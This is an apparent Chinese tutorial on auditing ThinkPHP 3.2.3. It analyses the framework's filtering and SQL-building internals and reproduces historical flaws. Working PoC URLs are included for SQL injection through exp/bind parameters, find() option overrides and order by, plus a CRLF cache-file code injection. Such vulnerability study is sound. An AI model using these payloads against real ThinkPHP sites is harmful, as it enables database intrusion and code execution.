Bootstrap

总结下ThinkPHP的代码审计方法

简介

ThinkPHP 是国内著名的 php开发框架,基于MVC模式,最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。

本文主要分析 ThinkPHP v3 的程序代码,通过对 ThinkPHP v3 的结构分析、底层代码分析、经典历史漏洞复现分析等,学习如何审计 MVC 模式的程序代码,复现 ThinkPHP v3 的系列漏洞,总结经验,以后遇到 ThinkPHP v3 的代码能够独立审计,抓住重点。即使不想对 ThinkPHP v3 代码做过多了解的小伙伴通过本文也能对TP3程序的漏洞有个清晰的认识。

ThinkPHP v3.x 系列最早发布于2012年,于2018年停止维护,其中使用最多的是在2014年发布的3.2.3,本文审计代码也是这个版本。也许TP 3现在很少能见到了,但通过对TP 3的代码分析,能更好入门 MVC 模式的程序代码审计。

了解ThinkPHP 3

目录结构

TP3的初始目录结构如下:

www  WEB部署目录(或者子目录)
├─index.php       入口文件
├─README.md       README文件
├─Application     应用目录
├─Public          资源文件目录
└─ThinkPHP        框架目录

这个时期的默认目录结构其实是有很大问题的,入口文件index.php和全部程序代码都放在WEB部署目录中,这将导致程序的中文件将会被泄露,如访问 Application/Runtime/Logs/ 下的日志,网上也有对应的爆破脚本,批量获取程序中的日志文件

配置文件

在ThinkPHP中,一般来说应用的配置文件是自动加载的,加载的顺序是:

惯例配置->应用配置->模式配置->调试配置->状态配置->模块配置->扩展配置->动态配置

以上是配置文件的加载顺序,后面的配置会覆盖之前的同名配置

惯例配置

惯例重于配置是系统遵循的一个重要思想,框架内置有一个惯例配置文件(位于)

应用配置

应用配置文件也就是调用所有模块之前都会首先加载的公共配置文件(默认位于)

模块配置

每个模块会自动加载自己的配置文件(位于)

如果能获取到程序代码,一般优先看系统的配置文件,能翻到数据库配置信息这些还是很赚的

另外也可以翻翻模型代码,可能会有意外收获(在TP 3中实例化模型的时候可以使用dns连接数据库)

new \Home\Model\NewModel('blog','think_','mysql://root:1234@localhost/demo');

另外一点需要注意的是,TP3中一个配置文件就可以实现很多信息的配置,如数据库信息的配置,路由规则配置等都会放在一个文件中。在TP5中则是通过专门的文件去配置不同的需求,如路由配置文件专门负责配置路由,数据库配置文件专门负责配置数据库信息

路由处理方式

在TP3中路由处理方式如下

http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1
                               入口文件    模块/控制器/方法/  参数

还可以使用兼容模式

index.php?s=Home/Index/index/id/1
入口文件      模块/控制器/方法/  参数

TP3 具有路由转发的功能,具体路由规则在应用或者模块配置文件中,上面有提及这两个文件的位置

配置方式如下:

// 开启路由
'URL_ROUTER_ON'   => true,
// 路由规则
'URL_ROUTE_RULES'  => array(
    'news/:year/:month/:day' => array('News/archive', 'status=1'),
    'news/:id'               => 'News/read',
    'news/read/:id'          => '/news/:1',
),

如果路由规则位于应用配置文件,路由规则则作用于全局。如果路由规则位于模块配置文件,则只作用于当前模块,在访问对应路由时要加上模块名,如在home模块配置文件定义了如上的路由,访问方式为

快捷方法

TP 3 对一些经常使用操作封装成了快捷方法,目的在于使程序更加简单安全

在TP 3官方文档中并没有做系统的介绍,不过在TP 5中就有系统整理,并且还给了一个规范命名:助手函数。

快捷方法一般位于ThinkPHP/Common/functions.php,下面介绍几个

I方法

PHP 程序一般使用等全局变量获取外部数据, 在ThinkPHP封装了一个I方法可以更加方便和安全的获取外部变量,可以用于任何地方,用法格式如下:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

示例:

echo I('get.id'); // 相当于 $_GET['id']
echo I('get.name'); // 相当于 $_GET['name']
// 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串
echo I('get.name','','htmlspecialchars');

如果没有传入过滤的方法,系统会采用默认的过滤机制,这个可以在配置文件中获取

C方法

读取已有的配置,配置文件里面的数据就可以通过C方法读取

//  读取当前的URL模式配置参数
$model = C('URL_MODEL');

M方法/D方法

用于数据模型的实例化操作,具体这两个方法怎么实现,有什么区别,暂时就不多关注了,只用知道通过这两个快捷方法能快速实例化一个数据模型对象,从而操作数据库

//实例化模型

// 相当于 $User = new \Home\Model\UserModel();
$User = D('User');
// 和用法 $User = new \Think\Model('User'); 等效
$User = M('User');

模型

ThinkPHP是基于MVC模式的架构,数据库和程序大部分逻辑都在模型M处处理。ThinkPHP3在模型M的底层设计上,出现了sql注入这样的问题,这里复现它的漏洞前,先熟悉一下底层的设计

\Think\Model类

TP3 实现模型的文件为 ThinkPHP/Library/Think/Model.class.php,文件中定义了ThinkPHP的模型基类\Think\Model类\Think\Model类的属性一般是不需要设置的,会从配置文件中获取默认值

//  ThinkPHP/Library/Think/Model.class.php
namespace Think;
class Model {
    // 数据表前缀,如果未定义则获取配置文件中的DB_PREFIX参数
    protected $tablePrefix      =   null;
    // 模型名称
    protected $name             =   '';
    // 数据库名称
    protected $dbName           =   '';
    //数据库配置
    protected $connection       =   '';
    // 数据表名(不包含表前缀),一般情况下默认和模型名称相同
    protected $tableName        =   '';
    // 实际数据表名(包含表前缀),该名称一般无需设置
    protected $trueTableName    =   '';
    /*取得DB类的实例对象 字段检查*/
    public function __construct($name='',$tablePrefix='',$connection='') {
        /*数据库初始化操作
          获取数据库操作对象
          当前模型有独立的数据库连接信息*/
        $this->db(0,empty($this->connection)?$connection:$this->connection,true);
    }
  ……

模型类的作用大多数情况是操作数据表的,通常需要继承系统的**\Think\Model类**或其子类。如果按照系统的规范来命名模型类的话,是可以自动对应数据表,如定义一个模型类,默认对应的数据表为(假设数据库的前缀定义是 think_

namespace Home\Model;
use Think\Model;
class UserModel extends Model {
}

模型实例化

1)首先通过类名可以直接实例化

实例化上面定义的 UserModel 类

$User = new \Home\Model\UserModel();

2)另外ThinkPHP还提供了快捷方法,用于实例化模型:D方法M方法

D方法用法如下,参数即为模型的名称

select();

如果只对数据表进行基本的CURD操作的话,使用M方法可能性能会更高一点

// 使用M方法实例化
$User = M('User');
// 和用法 $User = new \Think\Model('User'); 等效
// 执行其他的数据操作
$User->select();

3)实例化空模型类

使用原生SQL查询的话,不需要使用额外的模型类,实例化一个空模型类即可进行操作了,例如:

//实例化空模型
$Model = new Model();
//或者使用M快捷方法是等效的
$Model = M();
//进行原生的SQL查询
$Model->query('SELECT * FROM think_user WHERE status = 1');

数据库操作

TP3 模型基础类Model类提供了很多操作数据库的方法,下面看一下一些常用方法:

where()

where方法的参数支持字符串和数组,主要用于获取sql语句的where部分

1)参数为数组

$User = M("User"); // 实例化User对象
$name = I('GET.name');
$res = $User->field('username,age')->where(array('username'=>$name))->select();

最后执行的SQL语句:

SELECT `username`,`age` FROM `think_user` WHERE `username` = 'wang'

2)参数为字符串

$User = M("User"); // 实例化User对象
$name = I('GET.name');
$res = $User->field('username,age')->where("username='%s'",$name)->select();

最后执行的sql语句:

SELECT `username`,`age` FROM `think_user` WHERE ( username='wang' )

3)存在漏洞的用法

然后就发现如下一种写法,通过双引号包裹参数变量自动解析,而不是额外传入参数的方式,这样就参数就不会被过滤,从而造成sql注入,在代码审计时可以注意下程序中是否存在这个情况

$User->field('username,age')->where("username='$name'")->select();

实际sql语句

SELECT `username`,`age` FROM `think_user` WHERE ( username='xy' )

通过闭合单引号和括号就能造成sql注入,即使这里使用I方法过滤也无效

select()

获取数据表中的多行记录

find()

读取数据表中的一行数据

示例:

where(array('name'=>$name))->select();
    }
}

TP 3还提供链式操作,假如我们现在要查询一个User表的满足状态为1的前10条记录,并希望按照用户的创建时间排序

$User->where('status=1')->order('create_time')->limit(10)->select();

安全过滤机制

TP3 在I方法和数据库操作时都提供有自动安全过滤的操作

I 方法的安全过滤

ThinkPHP/Common/functions.php

下面对I方法代码做了大量化简,保留了关键逻辑代码

参数是一个字符串,前面提到的格式有,I方法就需要对这样的字符串做解析

首先I方法解析出字符串中接收数据的方法,数据类型和数据

通过方法对做过滤,一般为空,就会调用系统默认过滤方式

'DEFAULT_FILTER'        =>  'htmlspecialchars', // 默认参数过滤方法 用于I函数...

最后还要通过过滤,就是匹配数据中是否具有敏感字符,如果匹配到敏感字符就在数据后添加一个空格,看似很奇怪,后面会讲这么做的用途

function I($name,$default='',$filter=null,$datas=null) {
    if(strpos($name,'.')) { // 指定参数来源
        list($method,$name) =   explode('.',$name,2);
    }else{ // 默认为自动判断
        $method =   'param';
    }
    switch(strtolower($method)) {
        case 'get'     :
          $input =& $_GET;
          break;
        case 'post'    :
          $input =& $_POST;
          break;
        ……
    $data = $input;
    $data = $input[$name];
    $data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data);
    is_array($data) && array_walk_recursive($data,'think_filter');
    return $data;
}
function think_filter(&$value){
  // TODO 其他安全过滤
  // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

这里注意 thinkphp3.2.3 中敏感字符不包含BIND,TP3就因为这一点存在一个sql注入的风险

数据库操作的安全过滤

通过I方法获取外部数据默认会做一些安全过滤,上面看到的系统默认配置有htmlspecialchars,这个方法能防御大部分的xss注入。因为现在很多程序会使用预编译,所以TP5 中一般不采用I方法对外部数据做sql注入的过滤。

所以TP3在数据库操作上也有自己的安全过滤方式,TP3有自己的预编译处理方式,在没有使用预编译的情况下,TP3才会做addslash()这样的过滤,而TP3中出现的sql注入问题就是在没有使用预编译的情况下,忽略了一些该过滤的地方

在这里实在佩服挖到这些漏洞的大佬,最近看MVC模式的代码理解流程都很困难,他们却在复杂的代码中找到关键的问题,我在后面复现分析时感觉挖出这种漏洞实在得对TP的流程十分熟悉才行

示例程序

本小节主要通过如下示例代码分析TP3是如何处理sql操作,如何拼接sql语句,如何做安全过滤等操作

这是一个常见的外部输入where查询条件的sql操作,对TP3数据库操作有一定的普适性

Application/Home/Controller/IndexController.class.php

class IndexController extends Controller {
    public function test(){
        $name = I('GET.name');
        $User = M("user"); // 实例化User对象
        $User->field('username,age')->where(array('username'=>$name))->select();
    }
}

访问下面的链接

http://tp.test:8888/index.php/home/index/test?name=s'

最终执行的sql语句为:

SELECT `username`,`age` FROM `think_user` WHERE `username` = 's\''

下面将仔细分析示例程序sql执行的流程

按照链式操作的顺序,会依次执行field()、where()、select()。field()用于处理查询的字段,这里数据不可控,我们也不关注了

where()方法

先看where()的逻辑,用于构造sql语句的where条件语句部分,这是常见的sql注入点。前面提到,模型类提供的方法可以接收数组参数或字符串参数,然后方法将会把相关数据解析到模型对象的数组属性中,用于后续拼接完整的sql语句

如果为字符串时,为传入的另一个参数,将会被过滤,然后将格式化放在中,最后该字符串的值被放在中。这里过滤的明明白白,就不在考虑这种写法的sql注入问题了

如果为数组,也是官方推荐的一种方式,在方法中并没有直接过滤,我们需要关注后续对该值的处理

最终将放在当前模型对象的中,供后面处理

//  ThinkPHP/Library/Think/Model.class.php
public function where($where,$parse=null){
        if(!is_null($parse) && is_string($where)) {
            $parse = array_map(array($this->db,'escapeString'),$parse);
            $where =   vsprintf($where,$parse);
        }
        if(is_string($where) && '' != $where){
            $map    =   array();
            $map['_string']   =   $where;
            $where  =   $map;
        }
        if(isset($this->options['where'])){
            $this->options['where'] =   array_merge($this->options['where'],$where);
        }else{
            $this->options['where'] =   $where;
        }
        return $this;
}

select() 方法

上面知道如果传入where()的参数为字符串,则直接会被过滤,那传入数组参数是否会经过安全检测呢?

接下来看看select()是怎么处理的,where()方法将where字段部分数据放到了模型对象的options数组属性中保存,select()方法将主要从options数组组成最终的sql语句,其底层将由封装完成,过程比较复杂,下面用一张图简述其流程

可以看到最终的sql语句将由 buildSelectSql() 完成,其中由parseTable(),parseWhere()等若干方法完成sql语句各个set字段的组成

其中where字段由parseWhere()解析,因为前面对字符串参数已经过滤了,parseWhere()并没有在做过滤(具体代码上图忽略了),而是对数组参数进行了过滤,处理细节位于parseWhereItem(),我们需要关注parseWhereItem()是否做到了严丝合缝

parseWhereItem()

**parseWhereItem()**接收两个参数和,分别来自为的键和值

首先需要知道的是最终过滤的方法是,过滤的值是,过滤后的和组成即最终的where字段

当为数组形式时,会进入一个表达式判断,,即为表达式,sql代码的表达式有EQ(等于)、LIKE(模糊查询等)……

可以看到,当的值为bind,exp,IN 运算符时,不会经过 **parseValue()**的过滤,那么这里就有可能存在一种绕过过滤的可能

值为bind时,where语句会加上,这会影响后面注入的语句(不过有人发现delete等方法可以消除该符号的影响,这个漏洞后面会具体分析);为IN运算符时,最后构造的sql语句会加上in运算符,稍有干扰;值为exp似乎是最佳选择

当不为数组形式时,必会受到parseValue()的过滤,遂放弃

//  ThinkPHP/Library/Think/Db/Driver.class.php  line:547-616
protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                $exp  =  strtolower($val[0]);
                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
                    parseValue()……;
                }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                    parseValue()……;
                }elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                    }else{
                        parseValue();
                    }
                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
                   parseValue()……;
                }else{
                    E(L('_EXPRESS_ERROR_').':'.$val[0]);
                }
            }else {
                ……
            }
        }else {
            //对字符串类型字段采用模糊匹配
            $likeFields   =   $this->config['db_like_fields'];
            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
            }else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;
}

然后就构造一个poc验证一下

http://tp.test:8888/index.php/home/index/test?name[0]=exp&name[1]=111'

然后跟踪调试过程发现并没有按照预想的进入的逻辑,原因是我们传入的exp被加了一个空格,这似乎和I方法有关系

所以这里也发现了官方为什么强调要使用I方法接收外部数据,如果没有使用I方法,而是直接使用等接收外部变量,那么这里就有sql注入的问题

http://tp.test:8888/index.php/home/index/test?name[0]=exp&name[1]=='1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #

实际注入sql语句:

SELECT `username`,`age` FROM `think_user` WHERE `username` ='1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

小结

目前分析了 ThinkPHP V3.2.3对通过I方法对输入变量的安全过滤流程、数据库在解析select语句中的where字段时的安全过滤流程。也发现了一点小问题,如果没有按照规范的方法使用ThinkPHP也是有可能存在SQL注入问题的。这些不规范的写法也是代码审计时需要找出的问题

历史漏洞

update注入漏洞

在安全过滤机制一节中主要分析了select()方法对where() 传入的数组参数的处理过程,其中遇到了这样的情况:

的值为'bind'时,构造的where语句中间会受到" = : "的影响,但是有人却找到了模型类的save()方法可以消除" : "的影响,最终造成sql注入漏洞,该小节就是关注这一点

的值为'exp'时,基本不会受到影响,但exp在中是特殊字符,最终值会被加空格,无法进入到该逻辑中

//  ThinkPHP/Library/Think/Db/Driver.class.php
function parseWhereItem(){
……
    elseif('bind' == $exp ){ // 使用表达式
        $whereStr .= $key.' = :'.$val[1];
    }elseif('exp' == $exp ){ // 使用表达式
        $whereStr .= $key.' '.$val[1];
    }
……
}
//  ThinkPHP/Common/functions.php
function think_filter(&$value){
    // TODO 其他安全过滤
    // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

save()的使用

ThinkPHP的模型基类使用save()方法实现了SQL update的操作,用法如下,要更改的数据需要通过数关联组形式传递

$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$data['name'] = 'ThinkPHP';
$data['email'] = 'ThinkPHP@gmail.com';
$User->where('id=5')->save($data); // 根据条件更新记录

也可以改成对象方式来操作:

$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$User->name = 'ThinkPHP';
$User->email = 'ThinkPHP@gmail.com';
$User->where('id=5')->save(); // 根据条件更新记录

构造save()的场景

ThinkPHP 只是一个框架,其中封装了很多方法,需要知道的是save()底层封装了update的sql操作。

这里我们构建一个使用save()方法的场景,并且where()使用数组形式的参数,目的是为了进入bind的处理逻辑。外部参数我们使用严格I方法来接收

public function test(){
        $name = I('GET.name');
        $User = M("user"); // 实例化User对象
        $data['jop'] = '111';
        $res = $User->where(array('name'=>$name))->save($data);
        var_dump($res);
}

为了进入 'bind' 的处理逻辑,下面将构造以下连接测试注入:

http://tp.test:8888/index.php/home/index/test?name[0]=bind&name[1]=kkey'

save()处理逻辑

where() 的处理逻辑在安全过滤机制一节中有提到,当我们传入数组参数时在where()中不会被过滤,参数最终会被放到模型对象的 options 数组属性中保存。至于这个没有过滤的数据在 save() 中又是怎么处理的下面分析一下:

ThinkPHP/Library/Think/Model.class.php

where()方法上面已经分析过,只需要知道当前model类对象的存储着where字段的数据,则是存放的set字段的数据

,是组成sql语句的关键,最终将交于实现

//  ThinkPHP/Library/Think/Model.class.php
class Model {
  protected $options;
  public function save($data='',$options=array()) {
        ……
         //  底层由数据库Driver类update()实现
        $result     =   $this->db->update($data,$options);
        ……
        return $result;
    }
}

ThinkPHP/Library/Think/Db/Driver.class.php

把重点放到底层update()的实现上:

//  ThinkPHP/Library/Think/Db/Driver.class.php
abstract class Driver {
  public function update($data,$options) {
        $table  =   $this->parseTable($options['table']);
        //  此时sql语句构造为 UPDATE xxx set yyy 
        $sql     = 'UPDATE ' . $table . $this->parseSet($data);
        //  解析where语句
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        ……
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }
}

首先由**parseSet()**解析为set字段,**parseSet()就不细看了,==该方法解析的set字段的将会用命名(:name)**形式的占位标记符,其中占位标记符的值已经放在了bind数组中==,可以看出tp想做预编译的操作了

然后就进入where字段的解析,解析方法为

也不进入细看了,就是数组参数最终会交给解析

前面已有分析,这里也不再仔细分析了,当注入的(代表运算符)等于bind时,传入的参数不会被过滤,而是在where子语句中添加" =: "符号,本漏洞的关键点在于如何去消除这个" : "符号的影响。如下图,我们的数据奇怪的加入了这个预编译,这个准备语句的格式明显是有问题的

为最终解析完成的sql语句,交于执行

跟踪 execute() 方法:

//  ThinkPHP/Library/Think/Db/Driver.class.php
public function execute($str,$fetchSql=false) {
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }
        foreach ($this->bind as $key => $val) {
                $this->PDOStatement->bindValue($key, $val);
        }
        $result =   $this->PDOStatement->execute();

即为要执行的sql语句

重点关注的处理,这里会执行两个函数,一个字符串替换函数,一个使用调用的匿名函数

匿名函数就是调用过滤bind数组,前面知道bind数组只有set语句的值,==我们where语句的值还是没有被过滤==

将会把占位标记符转换为 bind 数组中对应的值,如:$bind=[':0'=>'111',':1'=>'222'],那么sql语句中**':0'字符会被替换为'111'':1'被替换为'222'**。==利用的关键点来了,我们把where语句最终控制为":0",那么替换时":"将被消除,从而消除了对注入语句的影响==

语句处理好后,再通过预编译执行该语句,可惜其中的占位标记符已经被替换了,在预处理前就已经发生了注入,漏洞产生

验证漏洞

poc:

http://tp.test:8888/index.php/home/index/test?name[0]=bind&name[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

实际执行的sql语句

UPDATE `think_user` SET `job`='111' WHERE `username` = '111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--

验证图:

官方修复

前面提到利用I方法获取输入时并没有过滤BIND,导致我们可以进入BIND的逻辑,从而使得我们的数组参数从头到尾都没有被过滤。官方便在这一点上做了过滤。所以该漏洞在ThinkPHP<=3.2.3都是存在的

注意:如果没有使用I方法接收外部数据,那么下面的修复就没有意义了,这漏洞照样使用

小结

感觉挖这种漏洞好难呀!需要对数据的每个流程十分熟悉。本次漏洞点还是位于where()方法的输入点,不过要借助I方法忽略的BIND和拼接语句时意外的替换功能造成最终的sql注入

也许该漏洞的最关键点在于strtr()的全局替换吧,替换了意外的数据,如果能看到这一点,应该就能逆向找到利用了。而官方修复并没有修复这个关键点,所以在没有使用I方法的情况还是有可能造成sql注入

如果在真实场景中想寻找这样的漏洞,可以先看程序中可能具有update的操作,然后注入poc尝试

select&delete 注入漏洞

这其实是ThinkPHP的一个隐藏用法,在前面提到,ThinkPHP使用where(),field()等方法获取获取sql语句的各个部分,然后存放到当前模型对象的属性数组中,最后在使用select()这些方法从数组中解析出对应的sql语句执行。

但在阅读代码过程中发现find(),select(),delete()本身可以接收数组参数,覆盖掉的值。不过这种用法官方文档并没有提及,想要遇到这中情况可能还需要开发者们配合,下面看看这个漏洞是怎么产生的,这里分析find()方法

代码分析

ThinkPHP/Library/Think/Model.class.php

class Model {
    protected $options          =   array();
    public function find($options=array()) {
        if(is_numeric($options) || is_string($options)) {//$options不为数组的情况
            $where[$this->getPk()]  =   $options;
            $options                =   array();
            $options['where']       =   $where;
        }
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//$options为数组且主键也为数组的情况
            // 根据复合主键查询
            ……
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);
        ……
        $resultSet          =   $this->db->select($options);//底层查询的语句

可以接收外部参数,官方文档没有提及这个用法

获取当前的主键,默认为'id'

为数字类型或字符串类型时,将由主键和外部数据构成

为数组类型时,且主键也为数组类型时,将会进入复合主键查询。但一般默认主键,不为数组

最终由获取。跟踪方法,可以看到最终将由**find()方法传入的where()**等方法传入的合并完成,注意第二个参数是会覆盖第一个参数的值的,所以如果方法传入的可控,那么整个sql语句也可控

//  ThinkPHP/Library/Think/Model.class.php
protected function _parseOptions($options=array()) {
    if(is_array($options))
        $options =  array_merge($this->options,$options);
    ……

现在sql语句可控了,能想到的是在数据库底层类中的parsewhere()方法解析where字段时,对字符串参数不会过滤,由下面代码,需要控制为字符串类型即可

//  ThinkPHP/Library/Think/Db/Driver.class.php
public function parseSql($sql,$options=array()){
    // parseWhere()接收的是$options['where']
    $this->parseWhere(!empty($options['where'])?$options['where']:'')
    ……

protected function parseWhere($where) {
    $whereStr = '';
    if(is_string($where)) {
        // 直接使用字符串条件
        $whereStr = $where;
    ……

场景构造

构造一个方法接收外部参数,这种写法可能存在漏洞

public function test(){
    $id = I('GET.id');
    $User = M("user"); // 实例化User对象
    $res = $User->find($id);
}

漏洞利用

http://tp.test:8888/home/index/test?id[where]=(1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

实际执行的sql语句为

SELECT * FROM `think_user` WHERE (1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- LIMIT 1

官方修复

官方在修复上就是在处忽略了外部传入的,这样我们传入的数据只能用于主键查询,而主键查询最终会转换为数组格式,数组格式数据在后面也会被过滤,那么这个漏洞就不存在了

Model.class.php 类中 delete(), select() 方法具有相同问题,也在ThinkPHP3.2.4中被修复

小结

可以看到ThinkPHP在处理sql查询时分的很细,做出了一个可控的主键查询这个功能,让用户可以控制主键查询的值,但始终保存主键查询的数据为数组形式可以被过滤,就保证了数据的安全性,但却忽略了一些意外的情况,导致sql注入。这个漏洞同样是需要很对ThinkPHP底层逻辑十分清楚

order by 注入漏洞

代码分析

ThinkPHP的模型基类Model并没有直接提供order的方法,而是用魔术方法来获取一些特殊方法的参数,代码如下:

ThinkPHP/Library/Think/Model.class.php

class Model {
    // 查询表达式参数
    protected $options          =   array();
    // 链操作方法列表
    protected $methods          =   array('strict','order','alias','having','group',……);
    public function __call($method,$args) {
        if(in_array(strtolower($method),$this->methods,true)) {
            // 连贯操作的实现
            $this->options[strtolower($method)] =   $args[0];
            return $this;
        }
        ……
    }
}

当调用模型对象的 order() 方法时,因为模型对象不具有该方法便触发了方法,在方法中,传入order()方法的第一个参数将赋值给

最终 order 语句将由给 parseOrder() 解析

ThinkPHP/Library/Think/Db/Driver.class.php

在Thinkphp3.2.3中parseOrder()实现的十分简单

abstract class Driver {
    protected function parseOrder($order) {
        if(is_array($order)) {
            $array   =  array();
            foreach ($order as $key=>$val){
                if(is_numeric($key)) {
                    $array[] =  $this->parseKey($val);
                }else{
                    $array[] =  $this->parseKey($key).' '.$val;
                }
            }
            $order   =  implode(',',$array);
        }
        return !empty($order)?  ' ORDER BY '.$order:'';
    }

parseOrder()的参数来自

过程对没有任何过滤,可以任意注入。。。

场景构造

构造一个order参数可控的场景,不过似乎很少有程序会把查询排序的参数交给用户

public function test(){
    $order = I('GET.order');
    $User = M("user"); // 实例化User对象
    $res = $User->order($order)->find();
}

漏洞利用

poc:

http://tp.test:8888/home/index/test?order=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)

实际执行sql语句

SELECT * FROM `think_user` ORDER BY updatexml(1,concat(0x7e,(select user()),0x7e),1)

系统修复

在看系统修复代码时发现,ThinkPHP3.2.4主要采用了判断输入中是否有括号的方式过滤,在ThinkPHP3.2.5中则用正则表达式过滤特殊符号。另外该在ThinkPHP<=5.1.22版本也存在这样的漏洞,利用方式有一些不同

在复现该漏洞时发现其他博主的代码和我的不一样,我这里以下载的代码为准

缓存漏洞

ThinkPHP 中提供了一个数据缓存的功能,对应S方法,可以先将一些数据保存在文件中,再次访问该数据时直接访问缓存文件即可

缓存文件示例

按照缓存初始化时候的参数进行缓存数据

public function test(){
    $name = I('GET.name');
    S('name',$name);
}

下次在读取该值时通过缓存文件可以更快获取

public function cache(){
    $value = S('name');
    echo $value;
}

先访问test(),生成缓存数据

http://tp.test:8888/home/index/test?name=jelly

发现生成文件:Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php

然后访问cache(),获取缓存数据

image-20210729173745860.png

上面就是缓存文件生成和使用的过程

代码分析

ThinkPHP/Common/functions.php

这段代码没什么好看的,就是S方法具有查看缓存,删除缓存和写缓存的动能,这里我们只关注写缓存的set()方法

function S($name,$value='',$options=null) {
    //   缓存初始化
    $cache = Think\Cache::getInstance();
    //  具体缓存操作
    if(''=== $value){ // 获取缓存
        return $cache->get($name);
    }elseif(is_null($value)) { // 删除缓存
        return $cache->rm($name);
    }else { // 缓存数据
        if(is_array($options)) {
            $expire     =   isset($options['expire'])?$options['expire']:NULL;
        }else{
            $expire     =   is_numeric($options)?$options:NULL;
        }
        return $cache->set($name, $value, $expire);
    }
}

ThinkPHP/Library/Think/Cache/Driver/File.class.php

先看,就是这里写入了文件,我们需要控制其中的两个参数,文件名, 写入数据

文件名来自方法,其中$name可控,filename()是怎么操作的等下细看

写入数据来自处理后的数据,可控

先经过序列化

然后使用,包裹 $value 序列化后的值,这是要写入一个php文件呀,危险!注意这里使用了行注释符,保证写入的数据不会被解析,但是我们可以通过换行符等手段轻松绕过

class File extends Cache {
    public function set($name,$value,$expire=null) {
        ……
        $filename   =   $this->filename($name);
        $data   =   serialize($value);
        $data    = "";
        $result  =   file_put_contents($filename,$data);
        if($result) {
            if($this->options['length']>0) {
                // 记录缓存队列
                $this->queue($name);
            }
            clearstatcache();
            return true;
        }else {
            return false;
        }
    }

下面关注一下文件的命名方式,具体方法为filename()

就是获取配置文件中 DATA_CACHE_KEY 的值,该值默认为空。该值为空时,最终的md5加密值也就清楚了

默认为空,默认为,如果在默认情况下,文件名,所在目录就很好控制了

private function filename($name) {
        $name  =  md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
        }else{
            $filename  =  $this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }

漏洞利用

利用上面的示例程序,poc:

http://tp.test:8888/home/index/test?name=%0d%0aphpinfo();%0d%0a//

0x0d - \r, carrige return 回车0x0a - \n, new line 换行

Windows 中换行为0d 0a

UNIX 换行为 0a

参数名name决定泄露缓存文件名,md5(name)=b068931cc450442b63f5b3d276ea4297,文件名则为:b068931cc450442b63f5b3d276ea4297.php,默认目录为Application/Runtime/Temp,然后访问我们的php文件

小结

因为ThinkPHP3的入口文件位于根目录下,和 application 等目录在同一目录一下,导致系统很多文件都可以访问,这里生成的缓存文件也是可以直接访问的,在TP5一些版本中也有这个漏洞,但是TP5的入口文件更加安全,这个漏洞并一定能利用。

总结

本文基本是依照TP3出现的历史漏洞来总结的审计方法,其中还有很多没有提到的点,如TP3对文件上传的过滤等,不过本文到这已经有9000多字了,有点超过我的预期,至于本文没有提到的点,大多是按照正常的php审计方法就能审计TP3的程序,所以本文就此结束